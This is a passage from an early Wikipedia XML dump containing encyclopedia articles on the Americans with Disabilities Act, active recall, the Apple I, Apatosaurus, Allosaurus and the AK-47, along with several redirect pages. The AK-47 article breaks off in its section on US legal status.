Although it has greatly improved the quality of life for people with severe physical disabilities, the ADA has also been heavily criticized for being overinclusive in its reach.  In turn, the ADA allegedly serves as a legal haven for malingerers and so-called &quot;professional plaintiffs&quot; who make a living out of suing noncompliant businesses and collecting monetary damages.  

The ADA was the target of a vicious media backlash in mid-[[1997]] after the [[Equal Employment Opportunity Commission]] published its ADA guidelines in March.  For example, ''[[The Onion]]'' satirized the ADA with an article about the passage of the &quot;Americans with No Abilities Act,&quot; and ''[[The Simpsons]]'' ran an episode in which [[Homer Simpson]] tried to become grossly obese so he would be exempt under the ADA from a mandatory workplace fitness program.  

The underlying debate is over whether the ADA should cover people with disabilities that are ''not'' totally and catastrophically disabling.  Most people agree that a person with a severe physical disability like [[paraplegia]] should be accommodated.  But they are less likely to agree when the disability in question is a [[mental illness]], like [[clinical depression]], or consists of minor neck or back pain (see [[neuropathy]]).  Others believe that accommodation laws put too many restrictions on the [[free market]] and should be repealed.

==References==

* Linda Hamilton Krieger, ed., ''Backlash Against the ADA: Reinterpreting Disability Rights'' (Ann Arbor: University of Michigan Press, 2003). 
* Switzer, Jacqueline Vaughn. ''Disabled Rights: American Disability Policy and the Fight for Equality''. Georgetown University Press, 2003.

==See also==

*[[Accessibility]]
*[[Disability rights movement]]
*[[List of disability rights activists]] &amp;mdash; includes a list of people who helped pass the ADA
*[[List of anti-discrimination acts]]
** [[Disability discrimination act]]

===Related categories===
*[[:Category:Disability legislation]]
*[[:Category:Rights of the disabled]]

===ADA constitutionality-related cases===
For cases determining the constitutionality of some of the ADA's provisions, see:
*''[[Tennessee v. Lane]]''
*''[[Board of Trustees of the University of Alabama v. Garrett]]''

==External links==
* [http://www.usdoj.gov/crt/ada/pubs/ada.txt Text of the Act]
* [http://www.mises.org/freemarket_detail.asp?control=254&amp;sortorder=articledate Mises.org article:What Is Disabled?]
* [http://www.thedisabilitylawyer.net/act/index.html How ADA applies to Disability Discrimination]
* [http://www.disabilitykey.com ADA Resource Center]
* [http://www.ericdigests.org/2002-1/ada.html Overview of ADA, IDEA, and Section 504: Update 2001]
* [http://www.ericdigests.org/1996-3/ada.htm Overview of ADA, IDEA, and Section 504]
* [http://www.ericdigests.org/2004-1/people.htm Employment of People with Disabilities]
* [http://www.ericdigests.org/2000-3/web.htm Accessible Web Design]
* [http://www.ericdigests.org/1996-4/testing.htm Testing Students with Disabilities]

[[Category:1990 in law]]
[[Category:United States federal civil rights legislation]]
[[Category:Disability legislation]]
[[Category:Rights of the disabled]]

[[ja:ADA&amp;#27861;]]</text>
    </revision>
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    <title>Americans with Disabilities Act of 1990/Findings and Purposes</title>
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    <title>Americans with Disabilities Act of 1990/Definitions</title>
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    <title>Americans with Disabilities Act of 1990/Title III</title>
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      <text xml:space="preserve">#REDIRECT [[Americans with Disabilities Act of 1990]]</text>
    </revision>
  </page>
  <page>
    <title>A.D</title>
    <id>1342</id>
    <revision>
      <id>37356769</id>
      <timestamp>2006-01-30T13:41:50Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;AD&quot; +&quot;Anno Domini&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Anno Domini]]</text>
    </revision>
  </page>
  <page>
    <title>Active recall</title>
    <id>1343</id>
    <revision>
      <id>15899832</id>
      <timestamp>2005-03-20T01:20:22Z</timestamp>
      <contributor>
        <ip>203.26.206.129</ip>
      </contributor>
      <comment>Added flashcards</comment>
      <text xml:space="preserve">'''Active recall''' is a principle of efficient learning, which says that we need to actively stimulate [[memory]] in the learning process. It is an opposite to [[passive review]] in which the learning material is processed passively (e.g. by reading, watching, etc.).

For example, when you read a text about [[George Washington]], this is passive review.

If you answer a question &quot;Who was the first US President?&quot;, this is active recall.

Active recall is many times more efficient in consolidating [[long-term memory]]. This is why just reading your study notes before exam is not likely to leave a long-lasting memory trace. On the other hand, if you ask your colleague to test you on the same material, the results will be better in the long run.

Because our recall of a memory may be influenced by its position within a sequence of self-test questions it can be advantageous to randomise the order of those questions.  This could be done for instance by putting questions and answers in a [[spreadsheet]] and sorting them by values produced by a randomisation function. [[Flashcards]] are also often used to stimulate active recall in education.

It is at the start of a learning task that active recall tasks need to be at their most frequent for retention.  As long term memories form, rates of testing can be reduced.  Recognition of this fact may aid efficient learning.

For more information on improving memory see [[Mnemonics]]. 

[[Category:Memory]]
[[Category:Mnemonics]]</text>
    </revision>
  </page>
  <page>
    <title>Apple I</title>
    <id>1344</id>
    <revision>
      <id>37254376</id>
      <timestamp>2006-01-29T20:39:47Z</timestamp>
      <contributor>
        <ip>66.23.219.26</ip>
      </contributor>
      <comment>Minor grammar correction.</comment>
      <text xml:space="preserve">{| class =&quot;wikitable&quot; align=&quot;right&quot; width=250
&lt;!--{|border=1 align=&quot;right&quot; cellpadding=2 cellspacing=0 width=250  style=&quot;margin-left:3em; margin-bottom: 2em; color: black; background: white;&quot;--&gt;
|colspan=2|[[Image:Apple I.jpg|250px|Apple I computer]]
|-
!colspan=2 style=&quot;color: white; background: gray;&quot;|Apple I
|-
|width=&quot;40%&quot;|'''Manufacturer'''||[[Apple Computer]]
|-
|'''Type'''||[[Personal computer]]
|-
|'''Casing'''||Wood
|-
|'''Production'''||1976
|-
|'''Discontinued'''||March, 1977
|-
|'''CPU'''||[[MOS Technology 6502|MOS 6502]] @ [[megahertz|1 MHz]]
|-
|'''RAM'''||4 [[kilobyte|KB]] standard&lt;br&gt;expandable to 8 KB&lt;br&gt;or 48 KB using expansion cards
|-
|'''Graphics'''||40&amp;times;24 characters&lt;br&gt;Hardware-implemented scrolling
|}

The '''Apple I''' was an early [[personal computer]], and the first to combine a [[computer keyboard|keyboard]] with  a [[microprocessor]] and a connection to a [[computer display|monitor]].

The Apple I was designed by [[Steve Wozniak]] originally for personal use. Wozniak's friend [[Steve Jobs]] had the idea of selling the computer. It was sold as Apple's first product, beginning in April 1976. Its retail price was US$666.66. About 200 units were produced. Unlike other hobbyist computers of its day, which were sold as kits, the Apple I was a fully-assembled circuit board containing about 30 chips. However, to make a working computer, users still had to add a case, power supply, keyboard, and display. An optional board providing a cassette interface for storage was later released at a cost of $75.

The Apple I is sometimes credited as the first personal computer to be sold in fully assembled form; however, some argue that the honour rightfully belongs to other machines, such as the [[Datapoint 2200]].

The Apple I's use of a [[computer keyboard|keyboard]] and [[computer display|monitor]] was distinctive. Competing machines such as the [[Altair 8800]] generally were programmed with front-mounted toggle switches and used indicator lights (red [[light-emitting diode|LED]]s, most commonly) for output, and had to be extended with separate hardware to allow connection to keyboards and monitors. This made the Apple I an innovative machine for its day, despite its lack of graphics or sound capabilities. It was discontinued in March 1977, when it was replaced with the [[Apple II]].

As of the [[as of 2005|turn of the millennium]], an estimated 30 to 50 Apple Is are still known to exist, making it a [[collector's item]]. An Apple I reportedly sold for $50,000 at auction in 1999; however, a more typical price for an Apple I is in the $14,000&amp;ndash;$16,000 range. A software-compatible clone of the Apple I ([[Replica I]]) produced using modern components, was released in 2003 at a price of around $200.

==References==
* Owad, Tom (2005). ''[http://www.applefritter.com/replica Apple I Replica Creation: Back to the Garage.]'' Rockland, MA: Syngress Publishing.  Copyright © 2005.  ISBN 1-931836-40-X.

==External links==
* [http://www.applefritter.com/apple1 Apple I Owners Club]
* [http://lowendmac.com/orchard/05/0509.html Macintosh Prehistory: The Apple I]
* [http://www.brielcomputers.com The Replica-1]

[[Category:Early microcomputers]]
[[Category:Apple hardware]]
[[Category:Apple II family|I]]

[[de:Apple I]]
[[es:Apple I]]
[[eo:Apple I]]
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    <title>Apache webserver</title>
    <id>1345</id>
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      <id>15899834</id>
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        <id>6264</id>
      </contributor>
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      <text xml:space="preserve">#REDIRECT [[Apache HTTP Server]]</text>
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  </page>
  <page>
    <title>Apatosaurus</title>
    <id>1346</id>
    <revision>
      <id>40384795</id>
      <timestamp>2006-02-20T04:53:02Z</timestamp>
      <contributor>
        <username>Denniss</username>
        <id>133598</id>
      </contributor>
      <minor />
      <comment>/* Classification and history */</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Apatosaurus''
| status = {{StatusFossil}}
| image = Apatosaurus.gif
| image_width=240px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Sauropsid|Sauropsida]]
| superordo = [[Dinosaur|Dinosauria]]
| ordo = [[Saurischia]]
| subordo = [[Sauropodomorpha]]
| infraordo = [[Sauropoda]]
| familia = [[Diplodocidae]]
| genus = '''''Apatosaurus'''''
| genus_authority = [[Othniel Charles Marsh|Marsh]], 1877
| subdivision_ranks = [[Species]]
| subdivision = 
''Apatosaurus ajax''&lt;br/&gt;
''Apatosaurus excelsus''&lt;br/&gt;
''Apatosaurus louisae''&lt;br/&gt;
}}

'''''Apatosaurus''''' (ah-PAT-o-sawr-us) meaning &quot;deceptive lizard&quot;, because its [[Chevron (anatomy)|chevron bones]] were like those of ''[[Mosasaurus]]'' ([[Greek language|Greek]] ''apatelos'' = deceptive + ''sauros'' = lizard), often refered to as ''[[Brontosaurus]]'', is a [[genus]] of [[sauropod]] [[dinosaur]]s that lived about 140 [[million years ago]], during the [[Jurassic]] [[geologic period|period]]. They were some of the largest land [[animal]]s that ever existed, about 4.5 [[metre]]s (15 [[feet]]) tall at the hips, with a length of up to 25m (80 feet) and a mass up to 35 [[metric tonne]]s (40 [[short ton|ton]]s).

The cervical vertebra and the bones in the legs were bigger and heavier than that of [[Diplodocus]], but they both had the long neck and tail. The skull was first identified in [[1975]], a century after it got its name. ''Apatosaurus'' had a large claw on its first digit (thumb). The tail was held above the ground during normal locomotion. 

==Environment==

Early on, it was believed that ''Apatosaurus'' was too massive to support its own weight on dry land, so it was theorized that the sauropod must have lived partly submerged in water, perhaps in a swamp. Recent findings do not support this. In fact, like its relative ''[[Diplodocus]]'', ''Apatosaurus'' was a [[grazing]] animal with a very long neck, and a long tail that served as a counterweight. Fossilized footprints indicate that it probably lived in herds. To aid in processing food, ''Apatosaurus'' may have swallowed gizzard stones ([[gastrolith]]s) the same way many birds do today &amp;mdash; its jaws alone were not sufficient to chew tough plant fibers.

''Apatosaurus'' perhaps lumbered along in flocks on riverbanks with trees, eating off the top leaves. Scientists believe that these sauropods could not raise their neck to an angle of 90 degrees, as doing so would slow blood flow to the brain excessively; blood starting at the body proper would take two or more minutes to reach the brain. Furthermore, studies of the structure of the neck vertebrae have revealed that the neck was not as flexible as previously thought. No one knows how Apatosaurs ate enough food to satisfy their enormous bodies. They probably ate constantly, pausing only to cool off, drink or to remove parasites. They must have slept standing upright. If attacked by a predator, one could defend itself by swinging its tail from side to side, or stomping on the meat-eater.

==Classification and history==

[[Image:Apatosaurus2.jpg|left|thumb|200px|Apatosaurus' correct head]]
In 1877, [[Othniel Charles Marsh]] published notes on his discovery of ''Apatosaurus ajax'', and then in 1879 described another, more complete dinosaur species, which he speculated to represent a new genus and named ''Brontosaurus excelsus''. In 1903, it was discovered that ''Brontosaurus excelsus'' was in fact an adult ''Apatosaurus'', and the name ''Apatosaurus'', having been published first, was deemed to have priority as the official name; ''Brontosaurus'' was relegated to being a synonym. In the 1970s, it was proven that the traditional &quot;Brontosaurus&quot; image known to all was, in fact, an ''Apatosaurus excelsus'' with a ''[[Camarasaurus]]'' head mistakenly placed on its body.

Fossils of this animal have been found in Nine Mile Quarry and Bone Cabin Quarry in [[Wyoming]], and at sites in [[Colorado]], [[Oklahoma]], [[Utah]], [[United States|USA]].

===Species===

* ''A. ajax'' is the [[type species]] of the genera, and was named by the [[paleontologist]] [[Othniel Charles Marsh]] in 1877 after [[Telamonian Aias|Ajax]], the [[hero]] from [[Greek mythology]]. It is the [[holotype]] for the genera, and two partial skeletons have been found including part of a [[skull]].
* ''A. excelsus'' (originally ''Brontosaurus'') was named by Marsh in 1879. It is known from six partial skeletons, including part of a skull, which have been found in the [[United States]], in [[Oklahoma]], [[Utah]], and [[Wyoming]].
* ''A. louisae'' was named by [[William Holland]], in 1915. It is known from one partial skeleton, which was found in [[Colorado]], in the United States.

[[Robert T. Bakker]] made ''A. yahnahpin'' the [[holotype|type]] species of a new genus, ''Eobrontosaurus'' in 1998, so it is now properly ''Eobrontosaurus yahnahpin''. It was named by Filla, James and Redman in 1994. One partial skeleton has been found in Wyoming.

==See also==
*[[Brontosaurus]]

[[Category:Sauropods]]
[[Category:Jurassic dinosaurs]]

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[[pt:Apatossauro]]
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[[uk:Апатозавр]]</text>
    </revision>
  </page>
  <page>
    <title>Allosaurus</title>
    <id>1347</id>
    <revision>
      <id>41553136</id>
      <timestamp>2006-02-28T02:48:37Z</timestamp>
      <contributor>
        <ip>129.170.119.237</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">&lt;!--
Proposed Edit by 67.182.251.180
Allosaurus was a huge carnivore. Allosaurus probably ate herbivore dinosaurs, like stegosaurs and iguanadons. It could kill medium-sized sauropods, and sick or injured large saurpods like apatosaurs and others of its kind. Allosaurus may have been a scavenger. Allosaurus probably had competition with Ceratosaurus, though Allosaurus was much larger.
	Bones of big sauropods, like Camarasaurus, Diplodocus, and Apatosaurus have Allosaurus tooth marks. A huge sauropod was most likely to big for even one Allosaurus to kill, so scientists think Allosuarus probably hunted in packs to kill such big Plant-eaters. But maybe Allosaurus could’ve only gone after injured or sick dinosaurs, not risking being killed by a strong and healthy Sauropod, or a whack of a tail.
	A recent study found that Allosaurus’ powerful bite was not in the musles of its jaws, but its neck and reinforced skull. It would gape and cleave flesh from its prey by using its powerfully-muscled neck to wield its impact-resistant skull like an axe. This would have done far more damage than simply opening and closing its jaws.
	Allosaurus was a Carnosaur, and his intelligence was high. His EQ ( Enephalization Quotient, or how its brain measured to its body) was about 1.9 EQ.
	In 1998, a Allosaurus nest was discovered in Wyoming. Fossils of adults and young were found, along with tons of Herbivore bones. The bones had teeth marks from young and from grown Allosaurs. This shows that Allosaurs may have brought food back to the nests to feed to their young.
	It’s not determined that Allosaurs were able to communicate vocally besides a hiss. But because their closest living relatives, birds and crocodiles can, it probably means Allosaurus could too. It’s certain that Allosaurus used visual communication some what. The crest on its head is proof of this. Its crest was probably colorful. Communicating by bobbing the head was probably part of courting and telling of enemies. Showing its massive teeth was probably another way of warding of threats.
	During the Mesozoic era, the climate was warmer, the seasons were mild, the sea level was higher, and there was no polar ice.  In the mid-Jurassic, Laurasia and Gondwanaland started forming because Pangaea was breaking apart. By the late Jurassic, the spreading of Laurasia and Gondwanaland was almost complete. The climate of the Jurassic period was hot and dry, but later
changed, with no polar ice, warm and moist, and very much flooding in vast areas. Pterosaurs starting flying in the sky.
	The seas during the Jurassic period were home to tons of coral reefs, fish, ichthyosaurs, (fishlike reptiles), plesiosaurs, giant marine crocodiles, ammonites, squid, sharks, and rays.
	Triassic plant lines continued. Many palm-like trees, called Cycads were around. There was also many seed ferns, gingkos, and conifers in the subtropical forests.
	So far, more than sixty complete and partial Allosaurus skeletons have been found. They’ve been found in Wyoming, Colorado, Utah, New Mexico, Montana, South Dakota, Oklahoma, and possibly Portugal and Tanzania.
In one quarry here in Utah, remains of at least 44 Allosaurs were found mixed together! The teeth of Allosaurus are the most common remains of theropods from the late Jurassic in the American West.
	In 1991 a 95% complete Allosaurus skeleton was found, and was later named Big Al. the skeleton was excavated near Shell, Wyoming by the Museum of the Rockies and the University of Wyoming Geological Museum. It was originally discovered by a Swiss team led by Kirby Siber. They later found a second Allosaurus, named “Big Al Two”. It’s the best preserved skeleton of Allosaurus yet.
--&gt;
{{taxobox
| color=pink
| name=Allosaurus
| image = Allosaurus-fossilized skull.jpeg
| image_width = 225px
| image_caption = [[Fossil]]ized ''Allosaurus'' [[skull]]
| status = {{StatusFossil}}
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Reptile|Sauropsida]]
| ordo = [[Saurischia]]
| subordo = [[Theropoda]]
| infraordo = [[Carnosauria]]
| familia = [[Allosauridae]]
| genus = '''''Allosaurus'''''
| genus_authority = [[Othniel Charles Marsh|Marsh]] 1877
| subdivision_ranks = Species
| subdivision = 
''?A. amplexus''&lt;br/&gt;
''?A. ferox''&lt;br/&gt;
''A. jimmadseni''&lt;br/&gt;
''A. fragilis'' ([[type species|type]])&lt;br/&gt;
}}
'''''Allosaurus''''' (AL-oh-sore-us) meaning “different lizard”, because its [[vertebrae]] were different from those of all other dinosaurs ([[Greek language|Greek]] ''allos'' = different + ''sauros'' = lizard), was a large [[carnivore|carnivorous]] [[dinosaur]] with a length of up to 12&amp;nbsp;[[metre|m]] (39&amp;nbsp;[[foot (unit of length)|ft]]). It was the most common large predator in [[North America]], 155 to 145 [[million years ago]], in the [[Jurassic]] [[geologic period|period]]. 

''Allosaurus'' is the official [[state fossil]] of [[Utah]], in the [[United States]].

== Description ==
[[Image:Allosaurus1.jpg|thumb|210px|left|A replica Allosaurus skeleton at a New Zealand museum]]
''Allosaurus'' is a classic big [[theropod]]: a large [[skull]] on a short [[neck]], a long [[tail]], and reduced forelimbs. Its most distinctive feature is a pair of blunt horns just above and in front of the eyes. Although short in comparison to the hindlimbs, the forelimbs are massive and bear large, eagle-like [[claw]]s. The skull shows evidence of being composed of separate modules, which could be moved in relation to one another, allowing large pieces of meat to be swallowed. The skeleton of ''Allosaurus'', like other theropods, shows [[bird]]like features like a wishbone and neck vertebrae hollowed by air sacs. It is thought that ''Allosaurus'' might have hunted in packs, allowing it to bring down the large sauropods of the time. Allosaurus was extremely light compared to other dinosaurs its size, which may have allowed it to leap onto its prey (something that only small dinosaurs could do) without sustaining severe injury.

== Findings ==
''Allosaurus'' is the most common theropod in the huge section of dinosaur-bearing rock in the [[American Southwest]] known as the [[Morrison Formation]]. Remains have been recovered in [[Montana]], [[Wyoming]], [[South Dakota]], [[Colorado]], [[Oklahoma]], [[New Mexico]], and Utah in the United States; and in [[Portugal]]. Curiously, ''Allosaurus'' shared the Jurassic landscape with several other theropods, including ''[[Ceratosaurus]]'' and the massive ''[[Torvosaurus]]''.

A famous [[fossil]] bed can be found in the [[Cleveland Lloyd Quarry]] in Utah. This fossil bed contains over 10,000 bones, mostly of ''Allosaurus'', with other dinosaurs like ''[[Stegosaurus]]'' and ''[[Ceratosaurus]]'' thrown in. It is still a mystery how the remnants of so many animals can be found in one place: normally the ratio of fossils of carnivorous animals over fossils of plant eaters is very small. Findings like these can be explained by pack hunting, although this is difficult to prove.

One of the more significant finds was the 1991 discovery of &quot;[[Big Al]]&quot; (MOR 593), a 95% complete, partially articulated, juvenile specimen that measured 8 meters (26 feet) in length. Nineteen bones were broken or showed signs of [[infection]], which probably contributed to Big Al's death. It was featured in &quot;The Ballad of Big Al&quot;, a special programme in the [[BBC]]'s ''[[Walking with Dinosaurs]]'' series. The fossils were excavated near [[Shell, Wyoming]] by the [[Museum of the Rockies]] and the [[University of Wyoming]] Geological Museum.  This skeleton was initially discovered by a Swiss team led by Kirby Siber, which later excavated a second Allosaurus &quot;Big Al Two&quot;, which is the best preserved skeleton of its kind to date.

== Classification and history ==
[[Image:Allo.JPG|thumb|right|200px|The Allosaurus Big Al]]
The first ''Allosaurus'' [[fossil]] to be described was a &quot;petrified [[horse]] hoof&quot; given to [[Ferdinand Vandiveer Hayden]] in [[1869]] by the natives of Middle Park, near [[Granby, Colorado]]. It was actually a caudal [[vertebra]] (a tail bone), which [[Joseph Leidy]] tentatively assigned first to the ''[[Poicilopleuron]]'' [[genus]], and later to a new genus, ''[[Antrodemus]]''. However, it was [[Othniel Charles Marsh]] who gave the formal name ''Allosaurus fragilis'' to the genus and [[type species]] in [[1877]], based on much better material including a partial skeleton, from Garden Park, north of [[Canon City, Colorado]].

The name ''Allosaurus'' comes from the [[Greek language|Greek]] ''allos'', meaning &quot;strange&quot; or &quot;different&quot;; and ''sauros'', meaning &quot;lizard&quot; or &quot;reptile&quot;. The species epithet ''fragilis'' is [[Latin]] for &quot;fragile&quot;. Both refer to lightening features in the vertebrae.

It is unclear how many species of ''Allosaurus'' there were. The material from the Cleveland-Lloyd ''Allosaurus'' is much smaller and more lightly built than the huge, robust ''Allosaurus'' from [[Brigham Young University]]'s [[Dry Mesa Quarry]]. Fossils resembling ''Allosaurus'' have been described from [[Portugal]].

''Allosaurus'''s closest relative is probably the Lower Cretaceous ''[[Acrocanthosaurus]]''.

== External links ==
* &quot;[http://www.dinodata.net/Dd/Namelist/TABA/A078.htm ''Allosaurus'']&quot;. ''DinoData''. 
* [http://www.uwyo.edu/geomuseum/tour/allosaur.htm ''Allosaurus'', the story of &quot;Big Al&quot;], from the University of Wyoming Geological Museum in Laramie.
* [http://pioneer.utah.gov/fossil.html Public Pioneer, Utah State Fossil, Allosaurus], from Utah.gov.
* [http://www.nmnh.si.edu/paleo/dino/allo2.htm?143,44 ''Allosaurus fragilis''], [[Smithsonian Institute|Smithsonian]] National Museum of Natural History, Department of Paleobiology.
* [http://dml.cmnh.org/1995Nov/msg00278.html List of the many possible ''Allosaurus'' species...]

[[Category:Theropods]]
[[Category:Carnosaurs]]
[[Category:Jurassic dinosaurs]]

[[de:Allosaurus]]
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[[nl:Allosaurus]]
[[pt:Alossauro]]
[[sk:Allosaurus]]
[[fi:Allosaurus]]
[[sv:Allosaurus]]
[[zh:跃龙属]]</text>
    </revision>
  </page>
  <page>
    <title>AK-47</title>
    <id>1348</id>
    <revision>
      <id>42100227</id>
      <timestamp>2006-03-03T20:58:40Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>units</comment>
      <text xml:space="preserve">{{Firearm|
name=AK-47
|image=[[Image:Ak-47.gif|275px|Both sides of an AK-47]]
|caption=Both sides of an AK-47
|nation=[[Soviet Union]], [[Russia]]
|type=[[Assault rifle]]
|inventor=[[Mikhail Kalashnikov]]
|date=1947
|serv_date=1951–present
|cartridge=[[7.62 x 39 mm|7.62 × 39 mm]]
|action=[[Gas-operated]], [[rotating bolt]]
|rof=600 round/min
|velocity=710 m/s (~2,330 ft/s)
|range=300 m
|mass=4.3 kg
|length=870 mm
|barrel=415 mm
|capacity=30-round detachable box; compatible w/ [[RPK]] 40-round box and 75-round [[drum magazine]]
|sights=Adjustable [[iron sights]], optional mount required for optical sights
|variant=AK-47, AKS, AKM [[GRAU|6P1]], AKMS, [[AK-74]], [[AK-101]], [[AK-102]], [[AK-103]], [[AK-104]], [[AK-105]], [[AK-107]], [[AK-108]]
|num_built=Over 100 million
|}}

The '''AK-47''' ('''''A'''vtomat '''K'''alashnikova 19'''47 '''''; [[Russian language|Russian]]: Автомат Калашникова образца 1947 года) is a [[gas-operated]] [[assault rifle]] designed by [[Mikhail Kalashnikov]], produced by [[Russia]]n manufacturer [[IZH]], and used in many [[Eastern bloc]] nations during the [[Cold War]]. It was adopted and standardized in 1947. Compared to [[rifle]]s used in [[World War II]], the AK-47 was generally lighter, more compact, with a shorter range, a smaller [[7.62 x 39 mm|7.62 × 39 mm]] cartridge, and was capable of [[selective fire]].  It was one of the first assault rifles, and surely the most prolific. The AK-47 and its numerous variants have been produced in greater numbers than any other assault rifle in the 20th century, and it remains in production to this day.

==Development==
During the Second World War, Germany had developed the concept of the assault rifle.  This concept was based on the premise that most military engagements in modern warfare were happening at fairly close range with the majority happening within 100 meters.  The power and range of ‘full-power’ rifle cartridges was simply overkill for a vast majority of engagements with small arms.  As a result, a cartridge and firearm were sought that would combine the features of a submachinegun (high capacity magazine and fully-automatic capability) with an intermediate power cartridge that would be effective to a range of 300 meters.  For the sake of manufacturing, this was done by shortening the 8 mm Mauser cartridge to 33 mm and using a lighter bullet.

The resulting [[Sturmgewehr 44]] was not the first rifle to use these features; it was preceded by earlier [[Italy|Italian]], and [[Russia]]n, designs.  The Germans were, however, the first to produce and field a sufficient number of the type to properly evaluate its utility.  They fielded the weapon in large numbers against the Russians towards the end of the war.  This experience deeply influenced Russian doctrine in the years following the war.

[[Image:AKlash.jpg|thumb|right|Mikhail Kalashnikov]]According to the story, tank sergeant Mikhail Kalashnikov began imagining his weapon while still in the hospital, after being wounded in the battle of [[Bryansk]]. He had been informed that a new weapon was required for the 7.62 × 39 mm cartridge developed by Elisarov and Semin in 1943. Sudayev's [[PPS43]] submachine gun was preferred to Kalashnikov's design. Kalashnikov redesigned his losing design after examining a German [[Sturmgewehr 44|STG 44]] in 1946.  It has been suggested that Kalashnikov was chosen to lead a team of designers more for propaganda value due to his war-hero status rather than for his expertise, following Soviet patterns in other industries.

Despite circumstantial evidence, Mikhail Kalashnikov denies that his rifle was ''based'' on the German assault rifle.  Internally the AK-47 owes much to the [[M1 Garand]] Rifle.  The double locking lugs, unlocking raceway, and trigger mechanism are clearly derived from the earlier American design.  This is not surprising as millions of Garand rifles had operated reliably in combat around the globe.  Though mechanically similar to the Garand, the AK-47 clearly borrows its cartridge concept, weapon layout, gas system, and construction methods from the StG44. Where the Kalashnikov rifle differs is in its simplification of those contributing designs and adaptation to mass production by relatively unskilled labor.  The AK-47 can be seen as a fusion of the best that the M1 Garand offered combined with the best aspects of the StG44 made by the best processes available in the Soviet Union at the time.

There were many difficulties during the initial phase of production.  The first production models had stamped sheet metal receivers. Alarmingly, these rifles were wearing out rapidly.  Instead of halting production, a heavy machined receiver was substituted for the sheet metal receiver. This was a more costly process, but the use of machined receivers accelerated production as tooling and labor for the earlier [[Mosin-Nagant]] rifle's machined receiver were easily adapted. Partly because of these problems, the Soviets were not able to distribute large numbers of the new rifle to soldiers until 1956.

Once manufacturing difficulties had been overcome, a redesigned version designated the AKM (''M'' for ''modernized'' or ''upgraded'') was introduced in 1959 .  This new model used a stamped sheet metal receiver and featured a slanted device on the end of the barrel to compensate for muzzle rise under recoil.  The AKM was exported around the world to aid in the spread of Communism.  Licensed production of the Kalashnikov weapons abroad as well as unlicensed production was almost exclusively of the AKM. Despite this, rifles of this pattern are almost universally referred to as AK-47's.

In 1978, the Soviet Union began replacing their AK-47 and AKM rifles with a newer design, the [[AK-74]].  This new rifle and cartridge had only started being exported to eastern European nations when the Soviet Union collapsed.

[[Image:LCpl Cheema on the AK-47.JPG|right|thumb|280px|East Germany-made MPiKS 72, folding stock variant of AKM in the hands of a U.S. Marine]]

==Notable features==   
The AK-47 is simple and inexpensive to manufacture and easy to clean and maintain. Its ruggedness and reliability is legendary. The large gas piston, generous clearances between moving parts, and tapered cartridge case design allow the gun to endure large amounts of foreign matter and fouling without failing to cycle.  This reliability comes at the cost of accuracy.
    
The notched rear tangent iron sight is calibrated with each numeral denoting hundreds of meters. The front sight is a post adjustable for elevation in the field. Windage adjustment is done by the armory prior to issue. The battle setting places the round within a few centimeters above or below the point of aim out to approximately 250 meters. This &quot;[[point-blank range]]&quot; setting allows the shooter to fire the gun at any close target without adjusting the sights. Longer settings are intended for area suppression. These settings mirror the [[Mosin-Nagant]] and [[SKS]] rifles which the AK-47 replaced. This eased transition and simplified training.   
   
The [[bore]] and [[chamber]], as well as the gas piston and the interior of the [[gas cylinder]], are generally [[chromium]] plated. This plating dramatically increases the life of these parts by resisting corrosion and wear. Chrome plating of critical parts is now common on most modern military weapons.

==Ballistics==
The standard AK-47 or AKM fires a [[7.62 x 39 mm|7.62 × 39 mm]] [[cartridge (weaponry)|round]] with a muzzle velocity of 710 m/s (2,329 ft/s). Muzzle energy is 1,990 [[joule]]s (1,467 ft•lbf). Cartridge case length is 38.6 mm, weight is 18.21 g. Projectile weight is normally 8 g (123 gr). The AK-47 and AKM, with the 7.62 × 39 mm cartridge, have an effective range of around 300 meters.  For comparison, the [[7.62 x 54 mm R]] cartridge has a projectile of 12 g (185 gr) at a velocity of 818 m/s (2,683 ft/s) for approximately 4,000 joules (2,950 ft•lbf) of energy.

==Operating cycle==
[[Image:AK-components.jpg|thumb|right|280px|A diagram showing the design of AKM.]]

To fire, the operator inserts a loaded [[Magazine (firearm)|magazine]], moves the selector lever to the lowest position, pulls back and releases the charging handle, and then pulls the [[trigger]].  In this setting, the gun fires once requiring the trigger be released and depressed again for the next shot until the magazine is exhausted.  With the selector in the middle position, the rifle continues to fire, automatically cycling fresh rounds into the chamber, until the magazine is exhausted or pressure is released from the trigger.

Dismantling the gun involves the operator depressing the magazine catch and removing the magazine.  The charging handle is pulled to the rear and the operator inspects the chamber to verify the gun is unloaded.  The operator presses forward on the retainer button at the rear of the receiver cover while simultaneously lifting up on the rear of the cover to remove it.  He then pushes spring assembly forward and lifts it from its raceway,  withdrawing it out of the bolt carrier and to the rear.  The operator must then pull the carrier assembly all the way to the rear, lift it and then pull it away.  He removes the bolt by pushing it to the rear of the bolt carrier; rotating the bolt so the camming lug clears the raceway on the underside of the bolt carrier and then pulls it forward and free.  When cleaning, the operator will pay special attention to the barrel, bolt face, and gas piston, then oil lightly and reassemble.

[[Image:Misccaparms.jpg|thumb|right|280px|Small arms captured in [[Fallujah]], [[Iraq]] by the [[United States Marine Corps|U.S. Marine Corps]] in 2004 include two AK-47s (first and third from the left)]] 

==Legal status in the USA==
Private ownership of fully-automatic AK-47 rifles is tightly regulated by the [[National Firearms Act]] of 1934.  The [[Gun Control Act of 1968]] ceased import of foreign manufactured fully-automatic firearms for civilian sales and possession effectively halting further importation of civilian accessible AK-47 rifles. In [[1986]], an amendment to the [[Firearm Owners Protection Act]] stopped all future domestic manufacture of fully-automatic weapons for civilian use.  However, machine guns manufactured domestically prior to 1986 and imported prior to 1968 may be transferred between civilians in accordance with federal and state law.  Several Soviet and Chinese rifles made it into the U.S. during the mid-1960s when returning Vietnam Veterans brought them home after capture from enemy troops.  Many of these were properly registered during the 1968 NFA amnesty.  In addition, several states have laws on their books outlawing private possession of full-automatic firearms even with NFA approval.

